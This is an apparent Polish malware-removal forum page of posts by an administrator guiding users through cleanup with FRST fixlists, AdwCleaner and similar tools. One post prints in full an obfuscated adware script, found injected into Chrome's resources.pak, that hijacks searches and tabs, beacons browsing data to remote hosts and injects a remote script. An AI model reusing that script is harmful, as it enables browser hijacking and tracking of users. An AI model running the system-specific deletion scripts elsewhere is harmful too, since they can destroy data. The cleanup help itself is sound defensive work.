Skocz do zawartości
Wszędzie

picasso

Administratorzy
 Pokaż profil  Zobacz aktywność

  • Postów

    36 525

  • Dołączył

  • Ostatnia wizyta

Treść opublikowana przez picasso

  1. picasso
    1. Hitman wykrył więcej szczątków. Do usunięcia wszystkie wyyniki z wyjątkiem grupy "Suspicious files" kierującej na katalog PunkBuster. 2. Wyczyść foldery Przywracania systemu: KLIK. 3. Nie wiadomo jaki był cel infekcji wprowadzonej przez crack. Na wszelki wypadek zmień hasła w serwisach online (bank, poczta, itd.).
  2. picasso
    Wszystko zrobione. Teraz: 1. Zastosuj DelFix, by dokasował pobrane skanery. 2. Zrób skan za pomocą Hitman Pro. Nic jeszcze nie usuwaj, tylko dostarcz wyniki skanu.
  3. picasso
    Fix pomyślnie wykonany. AdwCleaner dopatrzył się jeszcze szczątków adware. Kolejna porcja zadań: 1. Uruchom AdwCleaner ponownie, tym razem zastosuj kombinację opcji Skanuj + Usuń. Gdy program ukończy czyszczenie: 2. Otwórz Notatnik i wklej w nim: RemoveDirectory: C:\AdwCleaner Reg: reg delete "HKU\S-1-5-18\Software\Microsoft\Internet Explorer\SearchScopes" /f Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes" /f Reg: reg delete "HKU\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes" /f Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Przedstaw wynikowy fixlog.txt.
  4. picasso
    Wszystko zrobione. Poprawki: 1. Otwórz Notatnik i wklej w nim: RemoveDirectory: C:\FRST\Quarantine RemoveDirectory: C:\Program Files (x86)\Mozilla Firefox RemoveDirectory: C:\Users\Admin\Downloads\FRST-OlderVersion CMD: del /q C:\ProgramData\TNKsoftwares.exe CMD: del /q C:\Users\Admin\Desktop\~ESETUninstaller.log CMD: del /q C:\Users\Admin\Downloads\gvxn932x.exe CMD: del /q C:\Windows\Minidump\*.dmp Reg: reg delete HKCU\Software\Mozilla /f Reg: reg delete HKCU\Software\MozillaPlugins /f Reg: reg delete HKLM\SOFTWARE\Mozilla /f Reg: reg delete HKLM\SOFTWARE\MozillaPlugins /f Reg: reg delete HKLM\SOFTWARE\Wow6432Node\Mozilla /f Reg: reg delete HKLM\SOFTWARE\Wow6432Node\mozilla.org /f Reg: reg delete HKLM\SOFTWARE\Wow6432Node\MozillaPlugins /f Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Tym razem nie będzie restartu. Powstanie kolejny plik fixlog.txt. Przedstaw go. 2. Uruchom AdwCleaner. Wybierz opcję Skanuj i dostarcz wynikowy log z folderu C:\AdwCleaner
  5. picasso
    Nic więcej tu już nie wymyślę. Skoro firma hostingowa potwierdziła ruch, to najwyraźniej doszło do przejęcia konta, tylko nadal źródło problemu jest nieznane. Nic tu nie wskazywało, by w systemie była jakaś infekcja. A DelFix wykonał zadanie. Skasuj z dysku plik C:\delfix.txt. To tyle.
  6. picasso
    Bez wątpienia był zainfekowany plik zasobów resources.pak. W tym kluczowym pliku przeglądarki adware zintegrowało następujący skrypt produkujący przekierowania i reklamy: <!-- Copyright 2013 The Chromium Authors. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. We use an HTML page just to have access to the DOM, for URL parsing. An alternative would be to include a URL parsing JavaScript library with the extension but this approach is likely smaller and faster. --> <html> <head> <script src="thunk.js"></script> </head> <body> </body> </html> try{(function(d,u){function k(a){for(var b=0;b<a.length;b++){var e=b,c;c=a[b];if("string"===typeof c)a:{if(!v(c))for(var g=0;g<p.length;g++)if(p[g].test(c)){c="";break a}}else c=c.toString();c=encodeURIComponent(c.replace(w,"$cma;"));a[e]=c}(new Image).src="https://magicalfind-a.akamaihd.net/stats/?"+a.shift()+"="+a.join("|,|")}function m(a){return[ ".*volunteercentre.org.*",".*search.yahoo.com.*ddc[_-]bd.*",".*capn=ed_ui_.*_kw_001.*",".*ask.com.*siteid=28527.*",".*src=55cd729e57e760c05c8b466e.*",".*capn=ed_ui_jp_kw_002.*",".*thesmartsearch.net.*",".*search.results-hub.com.*",".*search.netbetterresults.com.*"," .*search.yahoo.com.*ddc[_-]bd.*",".*fluey.com.*",".*tapxchange.com.*",".*search.searchitknow.com.*",".*home.searchpile.com.*",".*au.ask.com.*28527.*",".*uk.ask.com.*32859.*",".*thesmartsearch.net.*p=ein.*",".*capn=ed_ui_.*_kw_004.*",".*search.top-arama.com.*","http:\\/\\/searchinterneat-a\\.akamaihd\\.net\\/s.*","http:\\/\\/searchinterneat-a\\.akamaihd\\.net\\/h.*",".*search.yahoo.com.*_bd_com.*",".*=__default.*"].some(function({return(new RegExp().test(a)})}function x(a,{var e=queryCommandValue;h(function(c){c||(c={});var g=c["BL_ST_"+a+"_"+e],d=Date.now();g?3E3>d-g?b&&b(!0):(c["BL_ST_"+a+"_"+e]=d,b&&b(!1),f(c)):(c["BL_ST_"+a+"_"+e]=d,f(c),b&&b(!1))})}function h(a){chrome.storage.local.get("BLGC_STORAGE",function({a&&a(b.BLGC_STORAGE)})}function f(a){var b={};b.BLGC_STORAGE=a;chrome.storage.local.set(b,function(){})}function q(a){try{if(0==a.length)return{hostName:""};var b=u.createElement("a");0!=a.indexOf("http")&&(a="http://"+a);b.href=a;return b}catch(e){}return{hostname:a}}function y(a){a=a.toLowerCase();for(var b=0;b<n.length;b++)if(-1!=a.indexOf(n[b].host.toLowerCase()))return b;return-1}function l(a,{try{b=b.replace(/[\[]/,"\[").replace(/[\]]/,"\]");var e=(new RegExp("[\?]"+b+"=([^]*)")).exec(a);return null==e?null:e[1]}catch(c){}}function z(a,{var e=l(a,n[b].oparam);switch({case 0:case 2:case 3:case 4:return!!e;case 1:var e=l(a,"type"),c=l(a,"hsimp"),g=l(a,"fr"),d=/^http(s)?:\/\/(.{2}\.)?(malaysia\.)?(y.*\.)?search\.yahoo\./;return!!g&&-1!=g.indexOf("ddc-bd")||!!c&&-1!=c.indexOf("ddc_bd")||!!e&&-1!=e.indexOf("_bd_com")||!d.test(a)||-1!=a.indexOf("/local/")}return!1}function r(a,{var e=-1,c="",g="http://searchinterneat-a.akamaihd.net/s?eq=U0EeE1xZE1oZB1ZEfQ5ZBAFFRQAVbQ4LBQlcFVYUJhRaUgAQDAdHeVtdVQtFRAQUIR9aFQQTQkcFME0FA1UWQhNNfXRZBlASQFllKVdc&q=|search_term|",d=null,f=null;b.url&&!m(b.url)&&(f=q(b.url).hostname,h(function(h){h||(h={});if(-1!=(e=y(f))){if(h[a]&&(d=q(h[a]).hostname,(!f||f==d)&&1!=e))return;c=n[e].param;!z(b.url,e)&&(queryCommandValue=l(b.url,c))&&x(a,function(c){c?k(["BL_YS_Action_2","MagicalFind","7ae84d56-73d0-4c7f-b39a-2d9be424e17a","blgc","SkippedSearch",b.url]):(g="http://searchinterneat-a.akamaihd.net/s?eq=U0EeE1xZE1oZB1ZEfQ5ZBAFFRQAVbQ4LBQlcFVYUJhRaUgAQDAdHeVtdVQtFRAQUIR9aFQQTQkcFME0FA1UWQhNNfXRZBlASQFllKVdc&q=|search_term|".replace("|search_term|",queryCommandValue),chrome.tabs.update(a,{url:g}),k(["BL_YS_Action_2","MagicalFind","7ae84d56-73d0-4c7f-b39a-2d9be424e17a","blgc","Search",b.url]))})}}))}function A(a,b,e){try{chrome.tabs.executeScript(a,{code:"if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://magicalfind-a.akamaihd.net/MagicalFind/cr?t=BLGC&g=7ae84d56-73d0-4c7f-b39a-2d9be424e17a&pn=Chrome'; document.head.appendChild(scr);}"})}catch(c){}-1!=t.indexOf(b.url)&&(m(e.url)||chrome.tabs.update(a,{url:"http://searchinterneat-a.akamaihd.net/t?eq=U0EeFFhaR1oWHAJCJQEMBQxHDAIQJAkVVVpGRxhBcwBZTAsVGFdGdAsMBAhGQBNBNARaAktXUUEeIlVfAh8fHHhCJ1BbAFU3SFtH"}),h(function(c){c||(c={});c[a]=b.url;f(c)}),d.skipNewTabMsg?d.skipNewTabMsg=!1:k(["BL_YS_Action_2","MagicalFind","7ae84d56-73d0-4c7f-b39a-2d9be424e17a","blgc","NewTab",b.url]));d.firstRun=!1;r(a,;b.url&&h(function(c){c||(c={});c[a]=b.url;f(c)})}"undefined"==typeof d.firstRun&&(d.firstRun=!1);"undefined"==typeof d.skipNewTabMsg&&(d.skipNewTabMsg=!1);var t=["chrome://newtab/","safer://newtab/"],n=[{host:".bing.",param:"q",oparam:"qs"},{host:"search.yahoo.",param:"p",oparam:"fr"},{host:".google.",param:"q",oparam:"site"},{host:".ask.",param:"q",oparam:"qo"},{host:"search.aol.",param:"q",oparam:"s_it"},{host:"go.mail.ru",param:"q",oparam:"NA"},{host:"intent.clara-labs.",param:"q",oparam:"NA"},{host:"trovi.",param:"q",oparam:"NA"},{host:".plusnetwork.",param:"q",oparam:"NA"},{host:"isearch.bobrowser.",param:"q",oparam:"NA"},{host:"www-searching.",param:"q",oparam:"NA"},{host:".thesmartsearch.",param:"q",oparam:"NA"},{host:".search.safer.",param:"q",oparam:"NA"},{host:".cassiopessa.",param:"q",oparam:"NA"}],p=[/(?:\d[(). -]*?){9,16}/,/[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?/i],w=/,/g;btoa("94df1405-b2c7-479e-98ea-4be1fc81ab76_54_10");var v=function(){var a=/^[\d,a-f]{8}-(?:[\d,a-f]{4}-){3}[\d,a-f]{12}$/i;return function({return a.test(}}();chrome.runtime.onStartup.addListener(function(){d.firstRun=!0;d.skipNewTabMsg=!0;f({})});chrome.tabs.onReplaced.addListener(function(a,{var e,c;h(function(d){d||(d={});e=d[a];c=d[b];d[a]=c;d[b]=e;f(d)})});chrome.tabs.onRemoved.addListener(function(a){h(function({b||(b={});delete b[a];f(})});chrome.tabs.onCreated.addListener(function(a){if(a.id&&!a.openerTabId)if(d.firstRun){if(m(a.url))return;chrome.tabs.update(a.id,{url:"http://searchinterneat-a.akamaihd.net/h?eq=U0EeCFZVBB8SRggUIVwAVV1EFxgUc10ITA0SFlMOIgoBABRDRQxBJQ0KVVxAFlQFIk0FA1oDB0VXfVtUBlpXTwhuIV5RAlgdZ1xNJA=="});k(["BL_YS_Action_2","MagicalFind","7ae84d56-73d0-4c7f-b39a-2d9be424e17a","blgc","HomePage",a.url])}else-1==t.indexOf(a.url)||m(a.url)||(chrome.tabs.update(a.id,{url:"http://searchinterneat-a.akamaihd.net/t?eq=U0EeFFhaR1oWHAJCJQEMBQxHDAIQJAkVVVpGRxhBcwBZTAsVGFdGdAsMBAhGQBNBNARaAktXUUEeIlVfAh8fHHhCJ1BbAFU3SFtH"}),k(["BL_YS_Action_2","MagicalFind","7ae84d56-73d0-4c7f-b39a-2d9be424e17a","blgc","NewTab",a.url]));else a.openerTabId&&h(function({b||(b={});b[a.id]=b[a.openerTabId];f(});d.firstRun=!1});chrome.webNavigation.onBeforeNavigate.addListener(function(a){0===a.frameId&&r(a.tabId,{url:a.url})});chrome.tabs.onUpdated.addListener(function(a,b,d){A(a,b,d)})})(window,document)}catch(d){};// Copyright 2013 The Chromium Authors. All rights reserved. // .Przeglądarka została przeinstalowana, co automatycznie zlikwidowało modyfikację. Teraz drobnostki do wykonania: 1. Deinstalacje: - Odinstaluj starą wersję (luki!) Adobe Reader 9.1 Lite. - Usuń szczątkowy ukryty program. Uruchom narzędzie Microsoftu: KLIK. Zaakceptuj > Wykryj problemy i pozwól mi wybrać poprawki do zastosowania > Odinstalowywanie > zaznacz na liście wpis AVG PC TuneUp 2015 (pl-PL) > Dalej. 2. Otwórz Notatnik i wklej w nim: CloseProcesses: CreateRestorePoint: HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction HKU\S-1-5-21-3186815166-2112447843-958612567-1000\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com HKU\S-1-5-21-3186815166-2112447843-958612567-1000\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch SearchScopes: HKU\S-1-5-21-3186815166-2112447843-958612567-1000 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = Task: {C3EC9D74-38F9-4939-87AC-AF3FA7D68859} - System32\Tasks\{40392E45-CAC5-4EB7-B95E-BDE5ED4EAC60} => pcalua.exe -a "D:\Pobrane\Gry\inkwizycja\Dragon Age Inquisition - Deluxe Edition\__Installer\vc\vc2010sp1\redist\vcredist_x64.exe" -d "D:\Pobrane\Gry\inkwizycja\Dragon Age Inquisition - Deluxe Edition\__Installer\vc\vc2010sp1\redist" Reg: reg delete "HKU\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /f Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\Main" /f Reg: reg delete "HKU\S-1-5-20\Software\Microsoft\Internet Explorer\Main" /f EmptyTemp: Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach. Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, system zostanie zresetowany. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt. 3. Zrób nowy log FRST z opcji Skanuj (Scan) na następującym ustawieniu: w sekcji Whitelist (Filtrowanie) odznacz sekcję Internet, a pól Addition i Shortcut już nie zaznaczaj. Dołącz też plik fixlog.txt.
  7. picasso
    Tak, są tu sterowniki StdLib wprowadzone przez adware i jest to potencjalna przyczyna BSOD. Ale to ledwie część problemu, gdyż w tle działa innogatunkowa infekcja typu trojan (falsyfikat svchost.exe), wprowadzona przez lewy dodatek Xenobot: 2015-10-30 18:38 - 2015-10-30 18:38 - 00000000 ____D C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\XenoBot 2015-10-30 18:36 - 2015-10-30 18:36 - 00083456 ____H C:\Users\Admin\AppData\Roaming\svchost.exe 2015-10-30 18:30 - 2015-10-30 18:33 - 06201516 _____ C:\Users\Admin\Downloads\Xenobot+Crack (1).rar 2015-10-30 18:09 - 2015-10-30 18:40 - 00000000 ____D C:\Users\Admin\Documents\XenoBot 2015-10-30 18:06 - 2015-10-30 18:07 - 00601349 _____ C:\Users\Admin\Downloads\xenoosiann2.rar 2015-10-30 18:00 - 2015-10-30 18:05 - 09393115 _____ C:\Users\Admin\Downloads\XenoBot.rar I jest tu także bardzo stary ESET na sterownikach z 2011 i on także powinien być zaadresowany. Akcje do przeprowadzenia: 1. Deinstalacje: - Odinstaluj via Panel sterowania stare wersje oraz złe aplikacje: Adobe Flash Player 15 Plugin, Adobe Reader XI (11.0.13) - Polish, DownLite, Java 7 Update 40, Mozilla Firefox 16.0.1 (x86 pl) + Mozilla Maintenance Service, ESET NOD32 Antivirus, XenoBot Apophis. Przy deinstalacji Firefox zaznacz usuwanie profilu z dysku. Skasuj też z dysku wszystkie pobrane paczki Xenobot. - Następnie wejdź w Tryb awaryjny i popraw jeszcze narzędziem ESET Uninstaller. Po akcji opuść Tryb awaryjny. 2. Otwórz Notatnik i wklej w nim: CloseProcesses: CreateRestorePoint: R1 wStLibG64; C:\Windows\System32\drivers\wStLibG64.sys [61112 2014-03-14] (StdLib) R1 {58aaf827-6246-4d80-8213-f02005f6345c}w64; C:\Windows\System32\drivers\{58aaf827-6246-4d80-8213-f02005f6345c}w64.sys [48776 2015-02-24] (StdLib) R1 {b9a19c25-a741-47e5-91a2-0b62bef307ff}w64; C:\Windows\System32\drivers\{b9a19c25-a741-47e5-91a2-0b62bef307ff}w64.sys [61112 2014-06-12] (StdLib) S0 sptd; \SystemRoot\System32\Drivers\sptd.sys [X] HKU\S-1-5-21-2953119984-1137956692-2323332510-1000\...\Run: [Windows.exe] => C:\Users\Admin\AppData\Roaming\Windows\Windows.exe [784951 2015-09-09] (‚„‘„‘„‘‚fx) HKU\S-1-5-21-2953119984-1137956692-2323332510-1000\...\Run: [MSTime] => C:\Users\Admin\AppData\Roaming\svchost.exe [83456 2015-10-30] () Startup: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ALFALINE.lnk [2015-10-13] InternetURL: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TNKsoftwares.com.url -> 0 Task: {37A91A57-4BF2-4AC4-904D-01716ADBB8BF} - System32\Tasks\{0D517AEB-F02C-4656-9044-0E31255D10EF} => pcalua.exe -a "D:\Program Files\TeamSpeak 3 Client\plugins\ts3overlay\InstallHook.exe" -d "D:\Program Files\TeamSpeak 3 Client\plugins\ts3overlay\" -c ts3overlay_hook_win32.dll 10000 Task: {3EA0789D-CEF6-44F1-9319-A61ABC75132D} - System32\Tasks\{B197DD34-164A-422C-9884-1D186A56F473} => pcalua.exe -a C:\Users\Admin\Desktop\funnyvoice-setup.exe -d C:\Users\Admin\Desktop Task: {717C666A-17A1-46F4-9824-D1B10415F884} - System32\Tasks\{6FD98B9C-A88B-4920-A98F-8E4A52074BE6} => pcalua.exe -a C:\PROGRA~2\COMMON~1\INSTAL~1\Driver\11\INTEL3~1\IDriver.exe -c /M{809D7E6D-915D-4EAD-821F-E13D93F37161} /l1033 Task: {A76421E4-330B-4A8B-A05F-AACAB986D607} - System32\Tasks\{848D1DC3-791C-485C-BDFA-CC0AA71D4DCC} => pcalua.exe -a "D:\Program Files (x86)\Steam\steamapps\common\arma 2 operation arrowhead\BEsetup\Setup_BattlEyeARMA2OA.exe" -d "D:\Program Files (x86)\Steam\steamapps\common\arma 2 operation arrowhead\BEsetup" Task: {C41E4907-DEA4-4CB2-8776-62B2EC738D0C} - System32\Tasks\{988AE7F0-6AED-49E0-9C9C-48319DF1D0E4} => Chrome.exe hxxp://ui.skype.com/ui/0/6.20.0.104/pl/abandoninstall?page=tsMain GroupPolicy: Ograniczenia - Chrome CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia HKU\S-1-5-21-2953119984-1137956692-2323332510-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://rts.dsrlte.com?affID=na SearchScopes: HKU\S-1-5-21-2953119984-1137956692-2323332510-1000 -> DefaultScope {0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9} URL = hxxp://search.babylon.com/?q={searchTerms}&affID=112250&babsrc=SP_ss&mntrId=c62e8f7f000000000000000000000000 SearchScopes: HKU\S-1-5-21-2953119984-1137956692-2323332510-1000 -> {0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9} URL = hxxp://search.babylon.com/?q={searchTerms}&affID=112250&babsrc=SP_ss&mntrId=c62e8f7f000000000000000000000000 SearchScopes: HKU\S-1-5-21-2953119984-1137956692-2323332510-1000 -> {7D0D1FAF-64FD-4A23-8EB7-870846F875A6} URL = hxxp://rts.dsrlte.com/?affID=na&q={searchTerms}&r=887 C:\ProgramData\TEMP C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Advanced Tactical Center C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Asprate C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Codemasters C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Heroes III C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SopCast C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Tibia Auto C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Tibia Testserver C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TNod User & Password Finder C:\Users\Admin\AppData\Local\CRE C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data C:\Users\Admin\AppData\Roaming\svchost.exe C:\Users\Admin\AppData\Roaming\Windows C:\Windows\System32\drivers\{58aaf827-6246-4d80-8213-f02005f6345c}w64.sys C:\Windows\System32\drivers\{b9a19c25-a741-47e5-91a2-0b62bef307ff}w64.sys C:\Windows\System32\drivers\wStLibG64.sys Reg: reg delete HKCU\Software\Google\Chrome\Extensions /f Reg: reg delete HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions /f Reg: reg delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\Adobe Reader Speed Launcher" /f Reg: reg delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\DAEMON Tools Lite" /f Reg: reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains" /f Reg: reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains" /f CMD: netsh advfirewall reset Hosts: EmptyTemp: Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach. Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, system zostanie zresetowany. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt. 3. Wyczyść Google Chrome: Zresetuj synchronizację (o ile włączona): KLIK. Ustawienia > karta Rozszerzenia > odinstaluj Vuze Remote Ustawienia > karta Ustawienia > Pokaż ustawienia zaawansowane > zjedź na sam spód i uruchom opcję Resetowanie ustawień. Zakładki i hasła nie zostaną naruszone. Zresetuj cache wtyczek. W pasku adresów wpisz chrome://plugins i ENTER. Na liście wtyczek wybierz dowolną i kliknij Wyłącz. Następnie wtyczkę ponownie Włącz. 4. Zrób nowy log FRST z opcji Skanuj (Scan), ponownie z zaznaczonym polem Addition. Dołącz też plik fixlog.txt. Wypowiedz się czy jest poprawa.
  8. picasso
    Trochę się pośpieszyłeś z tą reinstalacją Google Chrome, gdyż miałam w zamiarze podać szczegółowe kroki jak to zrobić (krok pierwszy przed deinstalacją to wyłączenie synchronizacji z serwerem, o ile włączona). Przy okazji także miały być wdrażane mniejsze korekty. Poczekam na zawartość folderu, by zaadresować merytorycznie całość zagadnienia, i podam jeszcze kroki dodatkowe.
  9. picasso

    Blokowanie stron www

    picasso odpowiedział(a) na Noosfe temat w Sieci

    Temat przenoszę do działu Sieci. W raportach nie ma żadnych oznak infekcji mogącej powodować opisywany efekt. Są tylko szczątki adware, które jednak nie są powiązane z usterką. Doczyszczanie w spoilerze. I wg raportu FRST logi były robione przy braku połączenia, jest też jakieś urządzenie Ethernet raportowane jako niedziałające ze względu na brak sterowników: DNS Servers: Urządzenie nie jest podłączone do internetu. ==================== Wadliwe urządzenia w Menedżerze urządzeń ============= Name: Kontroler Ethernet Description: Kontroler Ethernet Class Guid: Manufacturer: Service: Problem: : The drivers for this device are not installed. (Code 28) Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard. Sugestie: 1. Ślady adware, nie wiadomo co dokładnie było wcześniej, na wszelki wypadek zresetuj cały Winsock (część Protocol i NameSpace): KLIK. 2. Przeinstaluj urządzenia sieciowe oraz uzupełnij w/w brakujące sterowniki. 3. W przypadku braku rezultatów podaj dane wymagane działem Sieci: KLIK.
  10. picasso
    1. Tak, Fix zdołał zrobić tylko część zadania. Podejście poprawkowe. Otwórz Notatnik i wklej w nim: DeleteKey: HKLM\SOFTWARE\Classes\qpakfile DeleteKey: HKLM\SOFTWARE\_CrossriderRegNamePlaceHolder_ DeleteKey: HKLM\SOFTWARE\downchecker DeleteKey: HKLM\SOFTWARE\Crossrider DeleteKey: HKLM\SOFTWARE\FFPluginHp DeleteKey: HKLM\SOFTWARE\GlobalUpdate DeleteKey: HKLM\SOFTWARE\GoHD DeleteKey: HKLM\SOFTWARE\InstalledBrowserExtensions DeleteKey: HKLM\SOFTWARE\ihpmserver DeleteKey: HKLM\SOFTWARE\RayDld DeleteKey: HKLM\SOFTWARE\Reg\Clean DeleteKey: HKLM\SOFTWARE\SavePass 1.1 DeleteKey: HKLM\SOFTWARE\sweet-pageSoftware DeleteKey: HKLM\SOFTWARE\Tencent DeleteKey: HKLM\SOFTWARE\Tutorials DeleteKey: HKLM\SOFTWARE\Yahoo\Companion DeleteKey: HKLM\SOFTWARE\WdsManPro DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\SavePass 1.1 DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\GoHD DeleteKey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GLOBALUPDATE.EXE DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_QMIEPROTECT DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_QQPCRTP DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TAOACCELERATOR DeleteKey: HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TSFLTMGR DeleteKey: HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\WdsManPro DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_QMUDISK DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_QQPCRTP DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_TAOACCELERATOR DeleteKey: HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_TSFLTMGR DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_QMUDISK DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_QQPCRTP DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_TAOACCELERATOR DeleteKey: HKLM\SYSTEM\ControlSet003\Enum\Root\LEGACY_TSFLTMGR DeleteKey: HKLM\SYSTEM\WifiSafeCfg DeleteKey: HKU\S-1-5-18\Software\Tencent DeleteKey: HKU\S-1-5-18\Software\Yahoo\Companion RemoveDirectory: C:\AdwCleaner RemoveDirectory: C:\Documents and Settings\All Users\Documents\ShopperPro RemoveDirectory: C:\Documents and Settings\Administrator\Application Data\Mozilla RemoveDirectory: C:\Documents and Settings\Gość\Application Data\Mozilla RemoveDirectory: C:\Documents and Settings\Krzysztof\Application Data\Mozilla\Firefox\Profiles\12h1ceb6.default-1404211074967 RemoveDirectory: C:\FRST\Quarantine CMD: del /q "C:\Documents and Settings\Krzysztof\Desktop\Mozilla Firefox.lnk" CMD: del /q C:\WINDOWS\system32\roboot.exe EmptyTemp: Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Nastąpi restart. Powstanie kolejny fixlog.txt. Przedstaw go. 2. Uruchom narzędzie Microsoftu: KLIK. Zaakceptuj > Wykryj problemy i pozwól mi wybrać poprawki do zastosowania > Odinstalowywanie > zaznacz na liście odpadkowy wpis Facebook Update Helper > Dalej.
  11. picasso
    W raportach brak oznak oczywistej infekcji w Chrome, poza sponsorowaną wyszukiwarką Google (z sufiksem trackid=sp-004752), co z pewnością nie jest przyczyną problemów. To oznacza, że prawdopodobnie jest zmodyfikowany globalny plik zasobów resources.pak i będzie konieczna reinstalacja przeglądarki. Należy potwierdzić obecność tej modyfikacji. Poproszę o przesłanie katalogu Google Chrome do ręcznej analizy. Skopiuj na Pulpit folder: C:\Program Files (x86)\Google\Chrome Spakuj do ZIP, shostuj gdzieś i prześlij mi link do paczki na PW. PS. Uwaga na przyszłość: ComboFix słabo się nadaje do czyszczenia adware. Najbardziej specjalizowane programy to AdwCleaner i MBAM.
  12. picasso
    Czy po deinstalacji Pandy nastąpiła jakaś poprawa? Skan SFC nie wykrył żadnych błędów. Zastosuj narzędzie Fix-it z artykułu KB945011. Nie sugeruj się formułą artykułu, procedura usuwania wartości z klucza TrayNotify służy naprawianiu wielu usterek tej strefy. Dziennik zdarzeń wskazuje, że jeden ze sterowników nie jest ładowany. Uruchom Autoruns, w karcie Drivers odznacz pozycję VBoxDrv. To wyłączenie komponentu jest równoznaczne z cofnięciem wersji Internet Explorer do starszej wersji. I skoro obecnie komponent jest zdeaktywowany, to nie będzie aktualizacji dla niego pokazywanych.
  13. picasso
    Fix wykonany pomyślnie. Zastosuj DelFix i wyczyść foldery Przywracania systemu: KLIK.
  14. picasso
    Na przyszłość: nie uruchamiaj FRST Fix dwa razy, niezależnie od tego czy był błąd. Podwójne uruchomienie popsuło szyki, nie ma raportu, więc nie wiadomo ile zostało usunięte. No cóż, poproszę ponownie o to:
  15. picasso
    Temat przenoszę do działu Windows, pod zmienionym bardziej dopasowanym do problemu tytułem. Brak oznak czynnej infekcji. Nie, nie ma "trojana COM Surrogate". Samo hasło "COM Surrogate" jest zaś nazwą systemowego procesu dllhost.exe: Użytkownicy "połączyli" tę nazwę z infekcją ze względu na efekty jakie infekcja produkowała (rozmnożenie instancji procesu dllhost.exe). U Ciebie na pewno nie ma tej infekcji. Skąd tu w ogóle pomysł, że taka infekcja miałaby być? Skoro wspominasz nazwę "COM Surrogate", to czy to oznacza, że widzisz jakiś błąd z dllhost.exe? Z raportów nic nie wynika, a objawy może produkować mnóstwo czynników (od software aż po hardware). Rozwiń o co chodzi z "czasem nawet się nie włącza", opisz jak to dokładnie wygląda, na jakim ekranie zatrzymuje się uruchamianie. W zależności od tego jak ten defekt wygląda może się okazać, że problem jest np. sprzętowy. Na razie nie za wiele jestem w stanie zrobić. Sugestie: 1. Odinstaluj zbędne 